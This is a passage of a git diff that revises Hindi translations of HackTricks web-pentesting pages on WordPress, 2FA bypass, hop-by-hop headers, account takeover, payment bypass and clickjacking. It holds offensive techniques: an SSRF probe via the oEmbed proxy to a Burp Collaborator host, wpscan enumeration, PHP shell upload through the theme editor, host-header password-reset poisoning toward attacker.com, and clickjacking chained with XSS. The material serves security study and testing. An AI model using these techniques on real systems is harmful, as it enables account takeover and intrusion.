कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है। +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने का प्रयास करें और Worpress साइट आपसे अनुरोध कर सकती है। -यह प्रतिक्रिया है जब यह काम नहीं करता: +जब यह काम नहीं करता है तो यह प्रतिक्रिया है: ![](<../../images/image (365).png>) @@ -227,7 +227,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1 {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} -यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है। +यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है और यदि यह मौजूद है, तो यह उन्हें शोषण करने का प्रयास करता है। ## Automatic Tools ```bash @@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें -यह वास्तव में एक हमला नहीं है, बल्कि एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते थे। +यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को पलट सकते थे ताकि NOT (`!`) ऑपरेशन को NOP किया जा सके। ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -246,7 +246,7 @@ return new WP_Error( **थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)** -दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर) +दृश्यता → थीम संपादक → 404 टेम्पलेट (दाईं ओर) एक php शेल के लिए सामग्री बदलें: @@ -283,7 +283,7 @@ Procced पर क्लिक करें: ![](<../../images/image (70).png>) -संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपकी शेल अपलोड हो गई है: +संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपका शेल अपलोड हो गया है: ![](<../../images/image (462).png>) @@ -338,7 +338,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce के अस्तित्व पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)। -ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है: +ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -366,7 +366,7 @@ $this->namespace, '/get/', array( - **php फ़ाइल तक सीधी पहुँच** -बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है। +बिल्कुल, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है। ## WordPress सुरक्षा diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index a8b55ede3..a25364467 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -30,7 +30,7 @@ ### **Password Reset Mechanism** -पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या एक ही लिंक का उपयोग करके कई रीसेट की अनुमति है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है। +पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या यह एक ही लिंक का उपयोग करके कई रीसेट की अनुमति देता है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है। ### **OAuth Platform Compromise** @@ -42,7 +42,7 @@ कोड प्रयासों की संख्या पर कोई सीमा न होने से ब्रूट फोर्स हमलों की अनुमति मिलती है, हालांकि संभावित मौन दर सीमित करने पर विचार किया जाना चाहिए। -ध्यान दें कि भले ही दर सीमा लागू हो, आपको यह देखने का प्रयास करना चाहिए कि क्या जब मान्य OTP भेजा जाता है तो प्रतिक्रिया अलग होती है। [**इस पोस्ट**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) में, बग शिकारी ने पाया कि भले ही 20 असफल प्रयासों के बाद दर सीमा सक्रिय हो जाती है और 401 के साथ प्रतिक्रिया मिलती है, यदि मान्य OTP भेजा गया तो 200 प्रतिक्रिया प्राप्त हुई। +ध्यान दें कि भले ही दर सीमा लागू हो, आपको यह देखने का प्रयास करना चाहिए कि जब मान्य OTP भेजा जाता है तो प्रतिक्रिया अलग होती है या नहीं। [**इस पोस्ट**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) में, बग शिकारी ने पाया कि भले ही 20 असफल प्रयासों के बाद दर सीमा सक्रिय हो जाती है और 401 के साथ प्रतिक्रिया मिलती है, यदि मान्य OTP भेजा गया तो 200 प्रतिक्रिया प्राप्त हुई। #### **Slow Brute Force** @@ -70,7 +70,7 @@ SMS के माध्यम से कोडों को अत्यधि ### **Race Condition Exploitation** -2FA बायपास के लिए रेस कंडीशन का लाभ उठाने के लिए एक विशिष्ट दस्तावेज़ में पाया जा सकता है। +2FA बायपास के लिए रेस कंडीशंस का लाभ उठाने के लिए एक विशिष्ट दस्तावेज़ में जानकारी उपलब्ध है। ### **CSRF/Clickjacking Vulnerabilities** @@ -90,11 +90,11 @@ CSRF या Clickjacking कमजोरियों का पता लगा #### **Subdomains** -उप-डोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी है या कमजोर 2FA कार्यान्वयन हो सकते हैं। +उप-डोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी हो या कमजोर 2FA कार्यान्वयन हो। #### **API Endpoints** -पुराने API संस्करण, जो /v\*/ निर्देशिका पथ द्वारा संकेतित होते हैं, 2FA बायपास विधियों के प्रति संवेदनशील हो सकते हैं। +पुराने API संस्करण, जो /v\*/ निर्देशिका पथ द्वारा इंगित होते हैं, 2FA बायपास विधियों के प्रति संवेदनशील हो सकते हैं। ### **Handling of Previous Sessions** @@ -118,7 +118,7 @@ CSRF या Clickjacking कमजोरियों का पता लगा ### OTP Construction errors -यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता के पास पहले से है या जो OTP बनाने के लिए भेजा गया है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है। +यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता पहले से ही रखता है या जो OTP बनाने के लिए भेजा गया है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है। ## References diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index 11fbf1998..202f7de72 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -12,31 +12,31 @@ Hop-by-hop headers एकल परिवहन-स्तरीय कनेक प्रॉक्सियों द्वारा hop-by-hop headers का अनुचित प्रबंधन सुरक्षा समस्याओं का कारण बन सकता है। जबकि प्रॉक्सियों से अपेक्षा की जाती है कि वे इन headers को हटा दें, सभी ऐसा नहीं करते, जिससे संभावित कमजोरियाँ उत्पन्न होती हैं। -### Hop-by-Hop Header प्रबंधन के लिए परीक्षण +### Hop-by-Hop Header हैंडलिंग के लिए परीक्षण -जब विशिष्ट headers को hop-by-hop के रूप में चिह्नित किया जाता है, तो सर्वर प्रतिक्रियाओं में परिवर्तनों का अवलोकन करके hop-by-hop headers के प्रबंधन का परीक्षण किया जा सकता है। उपकरण और स्क्रिप्ट इस प्रक्रिया को स्वचालित कर सकते हैं, यह पहचानते हुए कि प्रॉक्सी इन headers का प्रबंधन कैसे करती है और संभावित रूप से गलत कॉन्फ़िगरेशन या प्रॉक्सी व्यवहार को उजागर कर सकती है। +जब विशिष्ट headers को hop-by-hop के रूप में चिह्नित किया जाता है, तो सर्वर प्रतिक्रियाओं में परिवर्तनों का अवलोकन करके hop-by-hop headers की हैंडलिंग का परीक्षण किया जा सकता है। उपकरण और स्क्रिप्ट इस प्रक्रिया को स्वचालित कर सकते हैं, यह पहचानते हुए कि प्रॉक्सी इन headers का प्रबंधन कैसे करती है और संभावित रूप से गलत कॉन्फ़िगरेशन या प्रॉक्सी व्यवहार को उजागर कर सकते हैं। Hop-by-hop headers का दुरुपयोग विभिन्न सुरक्षा निहितार्थों का कारण बन सकता है। नीचे कुछ उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे इन headers को संभावित हमलों के लिए हेरफेर किया जा सकता है: -### `X-Forwarded-For` के साथ सुरक्षा नियंत्रणों को बायपास करना +### `X-Forwarded-For` के साथ सुरक्षा नियंत्रण को बायपास करना -एक हमलावर `X-Forwarded-For` header को IP-आधारित एक्सेस नियंत्रणों को बायपास करने के लिए हेरफेर कर सकता है। इस header का अक्सर प्रॉक्सियों द्वारा क्लाइंट के मूल IP पते को ट्रैक करने के लिए उपयोग किया जाता है। हालाँकि, यदि एक प्रॉक्सी इस header को hop-by-hop के रूप में मानती है और इसे उचित सत्यापन के बिना अग्रेषित करती है, तो एक हमलावर अपने IP पते को स्पूफ कर सकता है। +एक हमलावर `X-Forwarded-For` header को IP-आधारित एक्सेस नियंत्रण को बायपास करने के लिए हेरफेर कर सकता है। इस header का अक्सर प्रॉक्सियों द्वारा क्लाइंट के मूल IP पते को ट्रैक करने के लिए उपयोग किया जाता है। हालाँकि, यदि एक प्रॉक्सी इस header को hop-by-hop के रूप में मानती है और इसे उचित सत्यापन के बिना अग्रेषित करती है, तो एक हमलावर अपने IP पते को स्पूफ कर सकता है। **हमला परिदृश्य:** 1. हमलावर एक प्रॉक्सी के पीछे एक वेब एप्लिकेशन को HTTP अनुरोध भेजता है, जिसमें `X-Forwarded-For` header में एक नकली IP पता शामिल होता है। 2. हमलावर `Connection: close, X-Forwarded-For` header भी शामिल करता है, जिससे प्रॉक्सी `X-Forwarded-For` को hop-by-hop के रूप में मानती है। -3. गलत कॉन्फ़िगर की गई प्रॉक्सी अनुरोध को स्पूफ किए गए `X-Forwarded-For` header के बिना वेब एप्लिकेशन को अग्रेषित करती है। -4. वेब एप्लिकेशन, मूल `X-Forwarded-For` header को न देखकर, अनुरोध को सीधे एक विश्वसनीय प्रॉक्सी से आने के रूप में मान सकती है, जिससे अनधिकृत पहुंच की अनुमति मिल सकती है। +3. गलत कॉन्फ़िगर की गई प्रॉक्सी अनुरोध को बिना स्पूफ किए गए `X-Forwarded-For` header के साथ वेब एप्लिकेशन को अग्रेषित करती है। +4. वेब एप्लिकेशन, मूल `X-Forwarded-For` header को न देखकर, अनुरोध को एक विश्वसनीय प्रॉक्सी से सीधे आने के रूप में मान सकती है, जिससे अनधिकृत पहुंच की अनुमति मिल सकती है। -### Hop-by-Hop Header Injection के माध्यम से कैश पॉइज़निंग +### Hop-by-Hop Header इंजेक्शन के माध्यम से कैश पॉइज़निंग -यदि एक कैश सर्वर hop-by-hop headers के आधार पर सामग्री को गलत तरीके से कैश करता है, तो एक हमलावर हानिकारक headers को कैश को ज़हर देने के लिए इंजेक्ट कर सकता है। इससे उपयोगकर्ताओं को एक ही संसाधन के लिए अनुरोध करते समय गलत या हानिकारक सामग्री मिल सकती है। +यदि एक कैश सर्वर hop-by-hop headers के आधार पर सामग्री को गलत तरीके से कैश करता है, तो एक हमलावर हानिकारक headers को इंजेक्ट कर सकता है ताकि कैश को ज़हर दिया जा सके। इससे उपयोगकर्ताओं को एक ही संसाधन के लिए अनुरोध करते समय गलत या हानिकारक सामग्री मिल सकती है। **हमला परिदृश्य:** 1. एक हमलावर एक वेब एप्लिकेशन को एक hop-by-hop header के साथ अनुरोध भेजता है जिसे कैश नहीं किया जाना चाहिए (जैसे, `Connection: close, Cookie`)। 2. गलत तरीके से कॉन्फ़िगर किया गया कैश सर्वर hop-by-hop header को नहीं हटाता है और हमलावर के सत्र के लिए विशिष्ट प्रतिक्रिया को कैश करता है। -3. भविष्य के उपयोगकर्ता जो उसी संसाधन के लिए अनुरोध करते हैं, उन्हें कैश की गई प्रतिक्रिया मिलती है, जो हमलावर के लिए तैयार की गई थी, जिससे सत्र अपहरण या संवेदनशील जानकारी का खुलासा हो सकता है। +3. भविष्य के उपयोगकर्ता जो उसी संसाधन के लिए अनुरोध करते हैं, उन्हें कैश की गई प्रतिक्रिया मिलती है, जो हमलावर के लिए तैयार की गई थी, जिससे सत्र हाइजैकिंग या संवेदनशील जानकारी का खुलासा हो सकता है। {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 4052ba9f4..fa63fcc0e 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -12,7 +12,7 @@ 2. यूनिकोड का उपयोग करके एक खाता बनाया जाना चाहिए\ उदाहरण के लिए: `vićtim@gmail.com` -जैसा कि [**इस वार्ता में**](https://www.youtube.com/watch?v=CiIyaZ3x49c) समझाया गया है, पिछले हमले को तीसरे पक्ष की पहचान प्रदाताओं का दुरुपयोग करके भी किया जा सकता है: +जैसा कि [**इस वार्ता**](https://www.youtube.com/watch?v=CiIyaZ3x49c) में समझाया गया है, पिछले हमले को तीसरे पक्ष की पहचान प्रदाताओं का दुरुपयोग करके भी किया जा सकता है: - पीड़ित के समान ईमेल के साथ तीसरे पक्ष की पहचान में एक खाता बनाएं, जिसमें कुछ यूनिकोड वर्ण हो (`vićtim@company.com`)। - तीसरे पक्ष के प्रदाता को ईमेल की पुष्टि नहीं करनी चाहिए @@ -32,8 +32,8 @@ unicode-injection/unicode-normalization.md ## **पूर्व खाता अधिग्रहण** 1. पीड़ित का ईमेल प्लेटफ़ॉर्म पर साइन अप करने के लिए उपयोग किया जाना चाहिए, और एक पासवर्ड सेट किया जाना चाहिए (इसकी पुष्टि करने का प्रयास किया जाना चाहिए, हालांकि पीड़ित के ईमेल तक पहुंच की कमी इसे असंभव बना सकती है)। -2. एक को OAuth का उपयोग करके पीड़ित के साइन अप करने की प्रतीक्षा करनी चाहिए और खाते की पुष्टि करनी चाहिए। -3. आशा है कि नियमित साइन अप की पुष्टि की जाएगी, जिससे पीड़ित के खाते तक पहुंच प्राप्त होगी। +2. एक को OAuth का उपयोग करके पीड़ित के साइन अप करने और खाते की पुष्टि करने की प्रतीक्षा करनी चाहिए। +3. यह उम्मीद की जाती है कि नियमित साइन अप की पुष्टि की जाएगी, जिससे पीड़ित के खाते तक पहुंच प्राप्त होगी। ## **CORS गलत कॉन्फ़िगरेशन से खाता अधिग्रहण** @@ -61,7 +61,7 @@ xss-cross-site-scripting/ ## **समान मूल + कुकीज़** -यदि आप एक सीमित XSS या उपडोमेन अधिग्रहण पाते हैं, तो आप कुकीज़ के साथ खेल सकते हैं (उदाहरण के लिए, उन्हें स्थिर करना) ताकि पीड़ित के खाते को समझौता करने का प्रयास किया जा सके: +यदि आप एक सीमित XSS या उपडोमेन अधिग्रहण पाते हैं, तो आप कुकीज़ के साथ खेल सकते हैं (उदाहरण के लिए, उन्हें स्थिर करना) ताकि पीड़ित खाते को समझौता करने का प्रयास किया जा सके: {{#ref}} hacking-with-cookies/ @@ -85,10 +85,10 @@ oauth-to-account-takeover.md ## होस्ट हेडर इंजेक्शन -1. पासवर्ड रीसेट अनुरोध प्रारंभ करने के बाद होस्ट हेडर को संशोधित किया जाता है। +1. पासवर्ड रीसेट अनुरोध आरंभ करने के बाद होस्ट हेडर को संशोधित किया जाता है। 2. `X-Forwarded-For` प्रॉक्सी हेडर को `attacker.com` में बदला जाता है। -3. होस्ट, रेफरर, और मूल हेडर को एक साथ `attacker.com` में बदला जाता है। -4. पासवर्ड रीसेट प्रारंभ करने के बाद और फिर मेल को फिर से भेजने का विकल्प चुनने के बाद, उपरोक्त तीनों विधियों का उपयोग किया जाता है। +3. होस्ट, रेफरर, और मूल हेडर को एक साथ `attacker.com` में बदल दिया जाता है। +4. पासवर्ड रीसेट शुरू करने के बाद और फिर मेल को फिर से भेजने का विकल्प चुनने के बाद, उपरोक्त तीनों विधियों का उपयोग किया जाता है। ## प्रतिक्रिया हेरफेर @@ -113,8 +113,8 @@ oauth-to-account-takeover.md ### पुराने कुकीज़ -जैसा कि [**इस पोस्ट में**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) समझाया गया है, एक खाते में लॉगिन करना, कुकीज़ को एक प्रमाणित उपयोगकर्ता के रूप में सहेजना, लॉगआउट करना, और फिर फिर से लॉगिन करना संभव था।\ -नई लॉगिन के साथ, हालांकि विभिन्न कुकीज़ उत्पन्न हो सकती हैं, पुराने कुकीज़ फिर से काम करने लगे। +जैसा कि [**इस पोस्ट**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) में समझाया गया है, एक खाते में लॉगिन करना, कुकीज़ को एक प्रमाणित उपयोगकर्ता के रूप में सहेजना, लॉगआउट करना, और फिर फिर से लॉगिन करना संभव था।\ +नई लॉगिन के साथ, हालांकि विभिन्न कुकीज़ उत्पन्न हो सकती हैं, पुराने फिर से काम करने लगे। ## संदर्भ diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md index dab35a5e6..8a44a34a8 100644 --- a/src/pentesting-web/bypass-payment-process.md +++ b/src/pentesting-web/bypass-payment-process.md @@ -22,7 +22,7 @@ ### पैरामीटर हेरफेर 1. **पैरामीटर मान बदलें**: _सफलता_, _रेफरर_, या _कॉलबैक_ जैसे पैरामीटर के मानों को बदलने का प्रयोग करें। उदाहरण के लिए, किसी पैरामीटर को `false` से `true` में बदलने से कभी-कभी यह पता चल सकता है कि सिस्टम इन इनपुट्स को कैसे संभालता है। -2. **पैरामीटर हटाएं**: यह देखने के लिए कुछ पैरामीटर को पूरी तरह से हटाने का प्रयास करें कि सिस्टम कैसे प्रतिक्रिया करता है। कुछ सिस्टम में अपेक्षित पैरामीटर के गायब होने पर बैकअप या डिफ़ॉल्ट व्यवहार हो सकता है। +2. **पैरामीटर हटाएं**: यह देखने के लिए कुछ पैरामीटर को पूरी तरह से हटाने का प्रयास करें कि सिस्टम कैसे प्रतिक्रिया करता है। कुछ सिस्टम अपेक्षित पैरामीटर के गायब होने पर बैकअप या डिफ़ॉल्ट व्यवहार हो सकते हैं। ### कुकी छेड़छाड़ diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index b1e2c1506..5614da2ed 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,15 +4,15 @@ ## What is Clickjacking -एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी। +एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में प्रच्छन्न होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी। ### Prepopulate forms trick -कभी-कभी **पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के फ़ील्ड के मान को भरना संभव होता है**। एक हमलावर इस व्यवहार का दुरुपयोग करके एक फॉर्म को मनमाने डेटा से भर सकता है और क्लिकजैकिंग पेलोड भेज सकता है ताकि उपयोगकर्ता बटन Submit दबाए। +कभी-कभी **पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के फ़ील्ड के मान को भरना संभव होता है**। एक हमलावर इस व्यवहार का दुरुपयोग करके एक फॉर्म को मनमाने डेटा से भर सकता है और clickjacking पेलोड भेज सकता है ताकि उपयोगकर्ता बटन Submit दबाए। ### Populate form with Drag\&Drop -यदि आपको उपयोगकर्ता से **एक फॉर्म भरवाने** की आवश्यकता है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप बस उससे **Drag\&Drop** करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे कि [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में। +यदि आपको उपयोगकर्ता से **एक फॉर्म भरवाने** की आवश्यकता है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप बस उससे **Drag\&Drop** करने के लिए कह सकते हैं जिससे आपका नियंत्रित डेटा लिखा जाएगा जैसे कि [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में। ### Basic Payload ```markup @@ -89,25 +89,25 @@ background: #F00; ``` ### XSS + Clickjacking -यदि आपने एक **XSS हमला पहचाना है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील है**, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\ +यदि आपने एक **XSS हमले की पहचान की है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\ उदाहरण:\ -&#xNAN;_You ने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग** के लिए **संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-भरे** कर सकते हैं।\ -\_\_एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमला तैयार कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-भरे** करके और **उपयोगकर्ता** को फॉर्म को **सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**। +&#xNAN;_You ने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **संवेदनशील** है **Clickjacking** के लिए और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\ +\_\_एक हमलावर उस पृष्ठ के लिए एक **Clickjacking** हमला तैयार कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को **फॉर्म सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**। ## Clickjacking को कम करने की रणनीतियाँ ### क्लाइंट-साइड डिफेंस -क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं: +क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स Clickjacking को रोकने के लिए क्रियाएँ कर सकती हैं: - सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है। - सभी फ्रेम को दृश्य बनाना। -- अदृश्य फ्रेम पर क्लिक करने से रोकना। -- संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना। +- अदृश्य फ्रेम पर क्लिक को रोकना। +- संभावित Clickjacking प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना। हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट्स को दरकिनार किया जा सकता है: -- **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं। +- **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या JavaScript समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं। - **HTML5 iframe `sandbox` विशेषता:** एक हमलावर `allow-forms` या `allow-scripts` मानों के साथ `sandbox` विशेषता सेट करके फ्रेम बस्टर स्क्रिप्ट्स को निष्क्रिय कर सकता है बिना `allow-top-navigation` के। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह शीर्ष विंडो है, उदाहरण के लिए, ```html